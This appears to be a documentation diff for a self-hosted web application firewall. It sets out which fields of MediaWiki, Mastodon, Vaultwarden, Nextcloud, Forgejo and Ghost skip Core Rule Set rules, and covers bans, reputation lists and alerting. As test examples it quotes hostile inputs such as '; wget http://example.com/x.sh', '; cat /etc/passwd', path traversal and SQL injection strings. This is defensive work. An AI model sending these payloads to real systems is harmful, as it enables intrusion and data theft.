skip the rules that refused them: + +- On MediaWiki's pages, for the same four rules: + - `wpSummary`, the summary of an edit; + - `wpUploadDescription`, the description of an uploaded file; + - `wpName` and `wpPassword`, for signing in; + - `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page. +- `comment` in the JSON body of `/rest.php/`, for the same four rules. +- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the admin + pages: + - `wpReason-other`, for blocking a user; + - `user-reason`, for changing a user's groups; + - `mwProtect-reason`, for protecting a page. +- On MediaWiki's pages, `wpTitles`, the list of watched pages that + `Special:EditWatchlist/raw` sends, one title per line. It always skips 930120, + 932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only + when it holds no `;`, `|`, `&`, backtick or `{`. A title starting with a + command name, such as `Python3 notes`, passes. So does a command alone on a + line, such as `wget http://example.com/x.sh`. A command such as + `; wget http://example.com/x.sh` is still refused. So is a list that mixes a + title holding one of these characters with a title starting with a command + name. +- The wikitext of a page, which holds templates, tables and any code it shows: + - `wpTextbox1` on MediaWiki's pages; + - `text`, `appendtext` and `prependtext` on `/api.php`; + - `source` in the JSON body of `/rest.php/`. +- The passwords when signing in, signing up and changing a password: + - `wpPassword` on MediaWiki's pages; + - `password` and `retype` in the form that changes a password, which sends + `authAction=change`; + - `retype` in the form that creates an account, which sends + `authAction=create`; + - `retype` in the form that sets a new password at sign-in after a password + reset or once the old one expired, which sends + `authAction=login-continue`; + - `lgpassword`, `password` and `retype` on `/api.php`. + + They skip each rule that random passwords set off: + + 920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, + 932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, + 933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100, + 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150. + + `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and + `` sent as a password reach MediaWiki; + `` and `javascript:alert(1)` are still refused. + + Other apps use `password` and `retype` too. So those two fields skip these + rules only when `authAction` names the form that sends them. The page's name + does not count, because a wiki in another language posts these forms to its + own names, such as `Spezial:Benutzerkonto_anlegen`. The page's title must + have a namespace, such as `Special:`. The title follows `/index.php/` or + `/wiki/` in the path, or is the `title` of `/index.php`. + +These body exclusions matter only while +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query +has a parameter of the same name. + +The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`, +so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a +file whose extension it does not allow. + +`/index.php` itself counts as MediaWiki's only when its query has a `title`, as +in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A wiki +without short URLs serves its pages under `/index.php/`, as in +`/index.php/Main_Page`, and its sign-in and upload forms post there. + +Elsewhere these fields keep every rule. The paths are those of MediaWiki at the +site root or under `/w/`. + +Mastodon's fixes: on Mastodon's paths, some fields skip the rules that refused +ordinary Mastodon requests there. `internal/coreruleset/mastodon.conf` lists +each rule and the request it refused. These fields skip the lists of system +files and command names (930120, 932120, 932250, 932260), in the query: + +- On the API's search, accounts and admin accounts, under `/api/v1/` and + `/api/v2/`, the searches and names `q`, `acct`, `username`, `display_name`, + `email` and `by_domain`. +- On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and + `/admin/tags`, the searches `username`, `display_name`, `email`, `by_domain`, + `shortcode` and `name`. +- `q` on `/search`, the web app's search page. + +These fields of a body skip the same four rules: + +- On these API resources, under `/api/v1/` or `/api/v2/`, and the paths under + them: + - `statuses`, `media` and `reports`; + - `accounts` and `profile`; + - `lists`, `filters` and `featured_tags`; + - the admin API's `accounts`, `domain_blocks` and `ip_blocks`. +- On those resources, these fields: + - `spoiler_text` and `poll[options][]`, for posting; + - `description`, of an uploaded file; + - `display_name`, `note` and the names and values of `fields_attributes`, + for a profile; + - `title`, `keyword`, the keywords of `keywords_attributes` and `name`, for + lists, filters and hashtags; + - `comment`, `text`, `private_comment` and `public_comment`, for reports, + notes, warnings and blocks; + - in JSON, as the web app sends them: + - `spoiler_text`, `title` and the options of `poll`; + - `description`, and the descriptions in `media_attributes`; + - `display_name`, `note` and the names and values of + `fields_attributes`; + - `comment`. +- On these admin pages, and the paths under them: + - `/admin/domain_blocks`, `/admin/ip_blocks` and `/admin/rules`; + - `/admin/announcements` and `/admin/settings`; + - `/admin/accounts//action`; + - `/admin/report_notes` and `/admin/account_moderation_notes`; + - `/admin/warning_presets` and `/admin/roles`; + - `/admin/terms_of_service`. +- On those pages, these fields: + - `domain_block[private_comment]` and `domain_block[public_comment]`; + - `ip_block[comment]`; + - `rule[text]` and `rule[hint]`; + - `announcement[text]`; + - `form_admin_settings[site_title]`, + `form_admin_settings[site_short_description]` and + `form_admin_settings[site_extended_description]`; + - `admin_account_action[text]`, a warning to an account; + - `report_note[content]` and `account_moderation_note[content]`; + - `account_warning_preset[title]` and `account_warning_preset[text]`; + - `user_role[name]`; + - `terms_of_service[text]` and `terms_of_service[changelog]`. +- On these settings and sign-in pages, and the paths under them: + - `/filters`; + - `/settings/applications` and `/settings/aliases`; + - `/settings/migration` and `/settings/delete`; + - `/auth`. +- On those pages, these fields: + - `custom_filter[title]` and its keywords; + - `doorkeeper_application[name]` and `doorkeeper_application[website]`; + - `account_alias[acct]` and `account_migration[acct]`; + - `user[password]`, `user[password_confirmation]` and + `user[current_password]`; + - `user[invite_request_attributes][text]`, why someone asks to sign up; + - `account_migration[current_password]`, `form_redirect[current_password]` + and `form_delete_confirmation[password]`, for moving or deleting an + account. +- On `/api/v1/accounts`, signing up through the API, `password` and `reason`, in + form data or JSON. +- On `/inbox`, `/users//inbox` and `/ap/users//inbox`, the fields of + the object another server delivers in JSON: + - `content` and `contentMap`, a post; + - `summary` and `summaryMap`, a content warning or a profile's text; + - `name`, a profile's name; + - the names and values of `attachment`, a picture's description or a + profile's fields; + - the names of `oneOf` and `anyOf`, a poll's options. +- A post's text, `status` in form data or JSON on `/api/v1/statuses` and the + paths under it. It skips 932125, 932230 and 932235 too, so a post can show + commands in code. A shell command such as `; wget http://example.com/x.sh` + reaches Mastodon there. + +Two fields of a body skip only 932120 and 932260. A hashtag or a username holds +only letters, digits and underscores, so the other two rules do not misfire +there: + +- `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features on a + profile; +- `user[account_attributes][username]` on `/auth`, the sign-up form's username. + +`user[email]` on `/auth` and the paths under it skips 930120, 932120 and 932260. +The sign-up, sign-in, password reset and account settings forms send an email +address there, such as `python3@example.com`. An address holds no spaces, so it +keeps 932250. + +On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip +930120 by their names. A report forwarded to another server lists that server in +`forward_to_domains`. In the Core Rule Set the keys are named: + +- `json.forward`; +- `json.forward_to_domains`; +- `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one per + server. + +Each name contains `.forward`, a file in a home folder. So 930120 refused every +report the web app sent. The keys' values keep every rule. + +The passwords in a body: + +- on `/auth`, `/settings/migration` and `/settings/delete`, and the paths under + them: + - `user[password]`, `user[password_confirmation]` and + `user[current_password]`; + - `account_migration[current_password]` and + `form_redirect[current_password]`; + - `form_delete_confirmation[password]`; +- `form_challenge[current_password]`, which asks for the password again, on + `/auth/challenge`, `/settings/two_factor_authentication` and + `/settings/two_factor_authentication_methods`, and the paths under them; +- `password` on `/api/v1/accounts`, in form data or JSON. + +They skip each rule that random passwords set off: + +920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, 932230, +932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, 933100, 933135, +933180, 933210, 941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230, +942290, 942320, 942540, 942550, 944150. + +Each field in the first two items skips these rules on every path in those +items. + +`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and +`` sent as a password reach Mastodon; +`` and `javascript:alert(1)` are still refused. + +These body exclusions matter only while +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query +has a parameter of the same name. + +The names of uploaded files skip 932180 on these paths: + +- `/api/v1/media` and `/api/v2/media`; +- `/api/v1/accounts/update_credentials` and `/api/v1/profile`. + +So a picture named `Example .htaccess.png` can be posted. Mastodon refuses a +file of a type it does not allow. + +The `Accept` header skips 920600 on links to profiles and posts, such as +`/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on the +paths under `/users/` and `/ap/users/` too. When someone on another server looks +up such a link, that server fetches it with this header: +`Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`. +It sends the same header to the account or post the link leads to. + +Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own +resources under them count as Mastodon's paths. Elsewhere these fields keep +every rule. + +Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that +refused ordinary Vaultwarden requests there. +`internal/coreruleset/vaultwarden.conf` lists each rule and the request it +refused. The apps encrypt vault items, folders, collections and sends before +sending them, so those fields skip no rules. The fields below hold plain text. + +Names and password hints skip the lists of system files and command names +(930120, 932120, 932250, 932260): + +- `name`, the name of the account, an organization, a group or a security key; +- `masterPasswordHint`, when signing up or changing the master password; +- `invitation_org_name` and `smtp_from_name`, on the admin page's settings. + +These fields hold email addresses and skip 930120, 932120 and 932260: + +- `username`, when signing in at `/identity/connect/token`; +- `email`, `newEmail`, `billingEmail` and the invited `emails`; +- the salt fields, such as `masterPasswordUnlock.salt`, which hold the address; +- `accountUnlockData.masterPasswordUnlockData.email`, when rotating the + account's encryption key; +- `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's + settings. + +So `python3@example.com` and `powershell@example.com` pass. + +These fields skip the rules on these paths: + +- the paths under `/identity/accounts/`; +- `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and the + paths under them; +- `/admin/config`. + +Names and password hints skip them on `/api/two-factor/webauthn` too, where a +security key gets its name. + +The addresses skip them on these paths too: + +- `/identity/connect/token` and `/admin/invite`; +- `/admin/test/smtp`, where the admin page sends a test email; +- the paths under `/api/two-factor/`, where sign-in codes by email are set up + and sent; +- `/api/auth-requests` and the paths under it, for signing in with another + device. + +These body exclusions matter only while +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query +has a parameter of the same name. + +`username` in the query of `/api/hibp/breach`, the data breach report, skips +930120, 932120 and 932260 too. + +`token` in the body of `/admin`, the admin token typed on the admin page, skips +each rule that random passwords set off. The numbers are in +`internal/coreruleset/vaultwarden.conf`. It applies only when the query has no +`token` parameter. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and +`` sent as the token reach Vaultwarden; +`` and `javascript:alert(1)` are still refused. + +The apps hash the master password before sending it. So `password` on +`/identity/connect/token`, `masterPasswordHash` and `newMasterPasswordHash` hold +only base64 and need no exclusion. + +The names of uploaded files skip 920120 on the paths that take attachments and +file sends: + +- `/api/ciphers//attachment` and the paths under it; +- `/api/ciphers//attachment-admin`; +- `/api/sends//file/`. + +The apps name such a file by its encrypted name, which holds `=`. Path traversal +and PHP scripts in the names are still refused. + +Elsewhere these fields keep every rule. + +Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that refused +ordinary Nextcloud requests there, and its WebDAV methods are allowed. +`internal/coreruleset/nextcloud.conf` lists each rule and the request it +refused. + +The sync client and the Files app use WebDAV on these paths: + +- `/remote.php/dav/`; +- `/public.php/dav/`; +- `/remote.php/webdav/`; +- `/public.php/webdav/`. + +These methods are allowed there, besides those of the first change: + +- `PROPFIND` and `PROPPATCH`; +- `MKCOL`; +- `COPY` and `MOVE`; +- `REPORT` and `SEARCH`; +- `LOCK` and `UNLOCK`, with which the desktop client locks a file. + +A file the Files app or the sync client uploads with `PUT` to these paths is a +file, not form data. The Core Rule Set does not read the body of a `PUT` there. +So a JSON file holding `python3 -m pytest` uploads, and so does an XML file +holding `ls -la /var/log`. The headers, path and query of the `PUT` are still +checked. + +The cookie `nc_username` holds the name of the account signed in. It skips the +lists of system files and command names (930120, 932120, 932250, 932260) on +every path, since every request sends it. + +These fields skip the same four rules, in the query or the body: + +- On `/login`, for signing in: + - `user` and `password`; + - `redirect_url`, the page to go to after signing in. +- `dir`, the folder shown, on the paths under `/apps/files/`. +- The file names on a public share: + - `file` on the paths under `/apps/files_sharing/publicpreview/`; + - `path` and `files` on `/s//download`. +- On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`: + - the searches `search` and `term`, and `from`, the page searched from; + - the names `groupid`, `userid`, `displayName` and `groups[]`; + - `value`, a new value of an account's details; + - `path`, `label` and `shareWith`, for a share. + +These fields of a JSON body skip the same four rules: + +- On the OCS API, each field of the list above. +- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in the + theming settings. +- `filePath` on `/apps/text/session//save`, the document the editor saves. +- `name` on `/remote.php/dav/systemtags/`, a new tag. + +`password` in the body of `/login`, the password when signing in, skips each +rule that random passwords set off: + +920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, 932230, +932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, 933100, 933135, +933180, 933210, 941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230, +942290, 942320, 942540, 942550, 944150. + +It applies only when the query has no `password` parameter. `' OR '1'='1`, +`../../etc/passwd`, `; cat /etc/passwd` and `` sent as +the password reach Nextcloud; `` and +`javascript:alert(1)` are still refused. + +The other passwords skip the same rules, in form data or JSON. None applies when +the query has a parameter of the same name. + +- `password` on `/login/confirm`, `/lostpassword/set//`, + `/settings/users/changepassword` and a public share's + `/s//authenticate/`. +- `oldpassword` and `newpassword` on `/settings/personal/changepassword`. +- `recoveryPassword` on `/settings/users/changepassword`. +- `oldPassword` and `newPassword` on `/apps/user_ldap/renewpassword`, which + changes an expired password, and on + `/apps/encryption/ajax/updatePrivateKeyPassword`. +- `oldPassword`, `newPassword` and `confirmPassword` on + `/apps/encryption/ajax/changeRecoveryPassword`. +- `recoveryPassword` and `confirmPassword` on + `/apps/encryption/ajax/adminRecovery`. +- `password` on the OCS API's `person/check`, which checks a sign-in, and + `core/apppassword/confirm`, which confirms the password. +- `password` on the OCS API's `cloud/users` and the share API's + `apps/files_sharing/api/v1/shares`, each user or share under them, and a + share's `send-email`. +- `value` on the OCS API's `cloud/users/` when the body's `key` is + `password`. A body with more than one `key`, or a `key` or `value` in the + query, gets none of this. + +Each field listed but `value` skips these rules on every path listed, not only +on the paths given for it. + +`password` on `/login/flow/apptoken` and `/login/v2/apptoken` holds a generated +app token, so it needs no exclusion. + +Some fields hold sentences a person writes: + +- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS API + and on each share under it; +- `message`, an account's status, on + `apps/user_status/api/v1/user_status/message/custom` of the OCS API; +- `message` in the JSON body that posts a comment to + `/remote.php/dav/comments/files/`; +- the XML body of a `PROPPATCH` that edits a comment; +- `autosaveContent` on `/apps/text/session//save`, the text of a document. + +These fields skip the same four rules. They also skip the rules that refused +ordinary sentences there, such as `It is fixed; diff attached` (932125, 932230, +932235, 932380). A share's note and a status skip them in the query or the body. +A document's text skips two more, which refused a shell script in a code block +(932160, 932370). So a shell command such as `; wget http://example.com/x.sh` +reaches Nextcloud in these fields. SQL injection, path traversal and script +injection are still refused there. + +The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search, skips +the four rules. + +The Calendar and Contacts apps, and CalDAV and CardDAV clients, use these paths: + +- `/remote.php/dav/calendars/`, which holds the calendars; +- `/remote.php/dav/addressbooks/`, which holds the address books. + +There: + +- `MKCALENDAR`, with which a CalDAV client makes a calendar, is allowed on the + calendars' paths only. +- The XML body of an `MKCOL` names a new calendar or address book. A new address + book's body may also hold its description. The body skips the four rules. On + the address books' paths, it also skips two rules that refused a description + such as `Powershell and python3 contacts; ls -la first` (932125, 932230). +- The XML body of an `MKCALENDAR` holds the new calendar's name and description. + It skips the four rules, and two rules that refused a description such as + `Powershell and python3 meetings; ls -la first` (932125, 932230). +- The body of a `PUT` of an event or a contact is not read, as for any `PUT` on + the WebDAV paths. So the Core Rule Set does not check an event's title, + location or description, or a contact's names. +- The Calendar and Contacts apps name the charset twice in the `Content-Type` of + the `PUT` that changes an event or a contact. A `PUT` typed `text/calendar` or + `text/vcard` skips 920530, the rule against two charsets. + +A CalDAV or CardDAV client finds these paths with a `PROPFIND` on +`/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on those +two paths. + +These body exclusions matter only while +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies to a JSON +field when the query has a parameter of that name, such as `json.message`. +Nextcloud's pages are matched at the site root and under `/index.php/`. +Elsewhere these fields keep every rule. + +Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo` +gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and +gitea does not. + +On Forgejo's paths, some fields skip the rules that refused ordinary Forgejo +requests there. `internal/coreruleset/forgejo.conf` lists each rule and the +request it refused. + +`q` skips rules on some of Forgejo's searches. The searches are: + +- the search of a wiki, on `///wiki/search`; +- the search of a repository's releases, on `///releases` and + `/api/v1/repos///releases`; +- the search of a job's log, on + `/api/v1/repos///actions/jobs//logs`. + +There `q` skips these rules: + +- system files (930120), such as `.htaccess`; +- Windows commands (932120), such as `powershell`; +- shell paths (932160), such as `/bin/sh`, except on the search of a job's log; +- Unix commands (932250), such as `ls -la`; +- command names (932260), such as `python3`. + +`; wget http://example.com/x.sh`, path traversal, and SQL and script injection +are still refused there. + +The search of a repository's code at a branch or a tag is on +`///search/branch/` and `///search/tag/`. +The search box on a repository's home page sends its search there when Forgejo +has no code indexer, as by default. There `q` skips the rules it skips on +gitea's search of code (gitea's third fix). So code, such as `` is still refused in snippets and newsletters. +`javascript:alert(1)` is still refused in the articles and code injection +(941170 and 941210). Path traversal and SQL injection are still refused in every +field above. Script injection is too, outside the articles and code injection. + +`; wget http://example.com/x.sh` is still refused in these fields: + +- the addresses, the handles and the domain; +- the `canonical_url` of posts, pages and tags; +- `search`, `url`, `pathname`, `email_segment` and `email`. + +The other fields above skip 932235, which refuses that command but also refuses +`powershell & python3`. + +Coraza names a staff user's `profile_image` field `json.users.0.profile_image`. +That name holds `.profile`, a file on the list of system files, so the name +skips 930120 when a profile is saved. + +The passwords skip each rule that random passwords set off. The numbers are in +`internal/coreruleset/ghost.conf`. They are `password` when signing in, and the +passwords sent when creating the first staff user, accepting an invitation, and +resetting or changing a password. `' OR '1'='1`, `../../etc/passwd`, +`; cat /etc/passwd` and `` sent as a password reach +Ghost; `` and `javascript:alert(1)` are still refused. + +These body exclusions matter only while +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query +has a parameter of the same name. Elsewhere these fields keep every rule. The +paths are those of Ghost at the site root. + +Each app's fixes switch rules off for some of its fields and cookies. Any other +app on a hostname that gets those fixes must check those fields and cookies +itself. + +The parameter names in these changes and fixes, and Nextcloud's cookie +`nc_username`, are matched without regard to case. gitea's and Forgejo's fixes +leave out a cookie only when its name matches exactly, case included. ### Ban lengths, response and scope -`SWWAF_BAN_RESPONSE` is `403` by default, which makes a ban easy to recognise -when debugging; `429` and `close` are the alternatives. Behind traefik, `close` -does not leave the client unanswered: traefik answers `502`, as it does whenever -its backend drops a connection. `SWWAF_BAN_SCOPE_V4_PREFIX` widens an IPv4 ban -to the surrounding netblock. The four ban lengths are under "Bans". +`SWW_WAF_BAN_RESPONSE` is `403` by default, which makes a ban easy to recognise +when debugging; `429` and `close` are the alternatives. `close` does not leave +the client unanswered: the TLS-terminating proxy answers `502`, as it does +whenever its backend drops a connection. `SWW_WAF_BAN_SCOPE_V4_PREFIX` widens an +IPv4 ban to the surrounding netblock. The four ban lengths are under "Bans". ### Reputation No source is on by default. A source acts on a list kept elsewhere; the defaults -judge a client only by what it does here. AbuseIPDB and CrowdSec also need an -account or an engine of the operator's own. The list best suited to be on by -default, Spamhaus DROP, has terms, below, that forbid frequent fetching, and -Spamhaus may block an address that breaks them. Each `servewaf` fetches its own -copy, so several of them on one host, sharing one address, would often fetch too -close together. +judge a client only by what it does here. AbuseIPDB also needs an account of the +operator's own. The list best suited to be on by default, Spamhaus DROP, has +terms, below, that forbid frequent fetching, and Spamhaus may block an address +that breaks them. Each `waf` fetches its own copy, so several of them on one +host, sharing one address, would often fetch too close together. -- Blocklists (`SWWAF_BLOCKLIST_URLS`) are text files of addresses and netblocks, - one to a line, as the Spamhaus DROP list is written. Anything after a `;` or - `#` on a line is ignored. An IPv4-mapped address such as +- Blocklists (`SWW_WAF_BLOCKLIST_URLS`) are text files of addresses and + netblocks, one to a line, as the Spamhaus DROP list is written. Anything after + a `;` or `#` on a line is ignored. An IPv4-mapped address such as `::ffff:192.0.2.0/120` is read as the IPv4 netblock it stands for. Spamhaus's terms for DROP, on its DROP page: - automated downloads must be at least one hour apart, and once a day is @@ -701,12 +1978,12 @@ close together. - a product that uses it must credit The Spamhaus Project and keep the list's date and copyright lines with the data. - So `SWWAF_BLOCKLIST_REFRESH` is never less than `1h`, and the last good copy - is kept whole, comment lines included, on failure and across restarts. + So `SWW_WAF_BLOCKLIST_REFRESH` is never less than `1h`, and the last good + copy is kept whole, comment lines included, on failure and across restarts. -- Each list is fetched again `SWWAF_BLOCKLIST_REFRESH` after its last try, one - list at a time. `reputation.json` keeps when each was last tried, so a restart - does not fetch a list again before its time. A fetch fails when: +- Each list is fetched again `SWW_WAF_BLOCKLIST_REFRESH` after its last try, one + list at a time. `lists.json` keeps when each was last tried, so a restart does + not fetch a list again before its time. A fetch fails when: - the server answers other than `200`; - the fetch does not finish within a minute; - the list is longer than 16 MiB; @@ -716,28 +1993,16 @@ close together. The log, the alerts, the ban notes and the metrics name each list by its URL, so a list's URL must not hold a secret. -- `SWWAF_BLOCKLIST_ACTION` is `deny` by default, which refuses every request +- `SWW_WAF_BLOCKLIST_ACTION` is `deny` by default, which refuses every request from a listed address and suits lists of networks that send nothing legitimate, such as DROP. `limit:` gives listed clients that percentage of every request and byte limit, and suits a list of addresses shared with ordinary visitors, such as Tor exits. `log` only notes the hit in the log line and raises an alert. -- A CrowdSec engine on the host (`SWWAF_CROWDSEC_LAPI_URL`) has its decision - list fetched every minute, with `SWWAF_CROWDSEC_LAPI_KEY` in the `X-Api-Key` - header. The list is kept like a fetched blocklist, and a client on it is - banned (see "Bans"). Only decisions of the type `ban` on an address or a - netblock are used; any other, such as a captcha or a country, is left out. A - decision lasts for the `duration` it had left when the engine answered. This - is how a fleet-wide blocklist can arrive without `servewaf` depending on - CrowdSec. A fetch fails when: - - the engine answers other than `200`, a redirect included; - - the fetch does not finish within a minute; - - the answer is longer than 16 MiB; - - the answer is not a list of decisions. -- Each DNS blocklist (`SWWAF_DNSBL_ZONES`) is asked about a client's own address - in the background, the first time the client is seen. No request waits for the - answer. The name asked about is the one RFC 5782 gives: the numbers of an IPv4 - address reversed, or the 32 hex digits of an IPv6 address reversed. So +- Each DNS blocklist (`SWW_WAF_DNSBL_ZONES`) is asked about a client's own + address in the background, the first time the client is seen. No request waits + for the answer. The name asked about is the one RFC 5782 gives: the numbers of + an IPv4 address reversed, or the 32 hex digits of an IPv6 address reversed. So `192.0.2.99` is asked about as `99.2.0.192.dnsbl.dronebl.org`. An answer in `127.0.0.0/8` lists the client, but one in `127.255.255.0/24` is Spamhaus refusing the query. A name that does not exist does not list the client. These @@ -745,54 +2010,55 @@ close together. - an answer in `127.255.255.0/24`; - an answer outside `127.0.0.0/8`; - a resolver error; - - no answer within `SWWAF_REPUTATION_TIMEOUT`. + - no answer within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`. DNS blocklists made for mail servers list residential ranges, and would block ordinary visitors, so they should not be used. Spamhaus zones need - their keyed query service, given as a zone name that contains the key. - `servewaf` shows the key as `********` wherever it names the zone. Only - `reputation.json` keeps the key. `SWWAF_DNSBL_RESOLVER` names a resolver, - since public resolvers are refused by several list operators. + their keyed query service, given as a zone name that contains the key. `waf` + shows the key as `********` wherever it names the zone. Only `dnsbl.json` + keeps the key. `SWW_WAF_DNSBL_RESOLVER` names a resolver, since public + resolvers are refused by several list operators. -- AbuseIPDB (`SWWAF_ABUSEIPDB_KEY`) is asked, at its check endpoint, for the +- AbuseIPDB (`SWW_WAF_ABUSEIPDB_KEY`) is asked, at its check endpoint, for the abuse confidence score of a client, from 0 to 100. Only a client that has already committed one offence is checked, so the daily budget - (`SWWAF_ABUSEIPDB_DAILY_BUDGET`, under the free tier's 1000 checks a day) is + (`SWW_WAF_ABUSEIPDB_DAILY_BUDGET`, under the free tier's 1000 checks a day) is spent on suspects. The check runs in the background at the client's next request that no ban refuses, so no request waits; the score applies to the client's later requests. For an IPv6 client, AbuseIPDB is asked about the address of the request that set off the check, and the score is used for the - whole group. A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE` is a hit. The - budget is counted in UTC days and kept in `reputation.json`, so a restart does - not make it whole again. The check that spends the last of it is logged and - alerted, and no client is checked until the day ends. The key is sent in the - `Key` header and nowhere else, and is never logged. A check fails, after which - no client is checked for a minute, when: + whole group. A score at or over `SWW_WAF_ABUSEIPDB_MIN_SCORE` is a hit. The + budget is counted in UTC days and kept in `abuseipdb-checks-spent.json`, so a + restart does not make it whole again. The check that spends the last of it is + logged and alerted, and no client is checked until the day ends. The key is + sent in the `Key` header and nowhere else, and is never logged. A check fails, + after which no client is checked for a minute, when: - AbuseIPDB answers other than `200`; - the answer gives no score; - - no answer comes within `SWWAF_REPUTATION_TIMEOUT`. -- `SWWAF_REPUTATION_ACTION`, for DNS blocklist and AbuseIPDB hits, is `limit:25` - by default. Such verdicts are less certain than a blocklist, so a listed - client gets a quarter of every request and byte limit rather than a refusal. -- Verdicts and scores are kept for `SWWAF_REPUTATION_CACHE_TTL`, in memory and - in `reputation.json`. A source that is down or over quota gives no verdict. - The service continues. Each failure raises a `source_failure` alert (see - "Alerting"). + - no answer comes within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`. +- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`, for DNS blocklist and AbuseIPDB hits, is + `limit:25` by default. Such verdicts are less certain than a blocklist, so a + listed client gets a quarter of every request and byte limit rather than a + refusal. +- Verdicts and scores are kept for `SWW_WAF_IP_REPUTATION_CACHE_TTL`, in memory + and in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over + quota gives no verdict. The service continues. Each failure raises a + `source_failure` alert (see "Alerting"). ### Alerting - Alerts go to a webhook as JSON, and to Slack and ntfy as formatted messages. `docs/alerts.md` lists the events, the JSON object and the messages. - `SWWAF_ALERT_EVENTS` chooses which of the seven event types are sent; the + `SWW_WAF_ALERT_EVENTS` chooses which of the seven event types are sent; the hourly `summary` is sent whatever it says. The bans an admin makes raise no alert. In `observe` mode, a request that would have made a ban still raises the ban's alert, with `mode` set to `observe` in its `detail`. - A repeat is an alert with the same event, and the same netblock, source, file - or anomaly scope, as one sent less than `SWWAF_ALERT_COOLDOWN` before. An + or anomaly scope, as one sent less than `SWW_WAF_ALERT_COOLDOWN` before. An anomaly scope is one of the things counted under "Anomaly thresholds". A repeat is held back and counted, and the next such alert sent gives the count. -- Past `SWWAF_ALERT_MAX_PER_HOUR` alerts in an hour, the rest are held back and - counted by event, so a wide attack cannot flood the channel. Once the hour +- Past `SWW_WAF_ALERT_MAX_PER_HOUR` alerts in an hour, the rest are held back + and counted by event, so a wide attack cannot flood the channel. Once the hour ends, one alert with the event `summary` gives those counts. It also counts the repeats that a cooldown held back and that no later alert reported. - Each destination has a bounded queue (see "Fixed limits" in @@ -810,33 +2076,34 @@ left unset sends no alert. An alert needs a destination only the operator can supply, and what counts as unusual depends on each service's normal traffic, which the metrics show. They reveal a widely distributed scraper, thousands of addresses at low rates each, which the per-client limits do not see. A low -`SWWAF_ASN_LIMIT_PERCENT` for its AS number is the response. +percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response. -- Requests and bytes are counted per minute and per hour, for each of: +- Requests and body bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted + per minute and per hour, for each of: - a client; - the surrounding netblock; - an AS number; - the whole service; - - a named netblock in `SWWAF_WATCH_NETS`. -- Every request `servewaf` answers with `allow`, `deny` or `close` is counted, - an allowed one when its report comes. That holds whatever was done with it, - and for clients in `SWWAF_ALLOW_NETS` and `SWWAF_RATE_LIMIT_EXEMPT_NETS`, + - a named netblock in `SWW_WAF_ANOMALY_WATCHED_NETS`. +- Every request `waf` answers with `allow`, `deny` or `close` is counted, an + allowed one when its report comes. That holds whatever was done with it, and + for clients in `SWW_WAF_ALLOW_NETS` and `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`, since an exempt client misbehaving is worth knowing about. The counters are kept in memory and in `alerts.json`. ## Rule files -`servewaf` reads every `*.rules` file in `SWWAF_RULES_DIR` and checks each +`waf` reads every `*.rules` file in `SWW_WAF_RULE_FILES_DIR` and checks each request against them. `docs/rules.md` gives the format, the targets and actions, and the default file. - The files are plain text meant to be edited by hand, so that a new scanning - pattern seen in the request log becomes a rule in one line. `servewaf` watches - the directory: a file edited, added or removed there takes effect while it - runs. It reads the files again once the directory has had no change for 2 - seconds, so that a file still being written is read whole. A file whose name - starts with `.`, such as an editor's lock file, is not a rule file. -- Files are read in name order (`00-default.rules` before `50-gitea.rules`), + pattern seen in the request log becomes a rule in one line. `waf` watches the + directory: a file edited, added or removed there takes effect while it runs. + It reads the files again once the directory has had no change for 2 seconds, + so that a file still being written is read whole. A file whose name starts + with `.`, such as an editor's lock file, is not a rule file. +- Files are read in name order (`00-default.rules` before `50-site.rules`), rules in line order. - A rule's regex is Go's RE2 syntax. It has no backreferences or lookaround; in exchange matching time is linear in the input, so 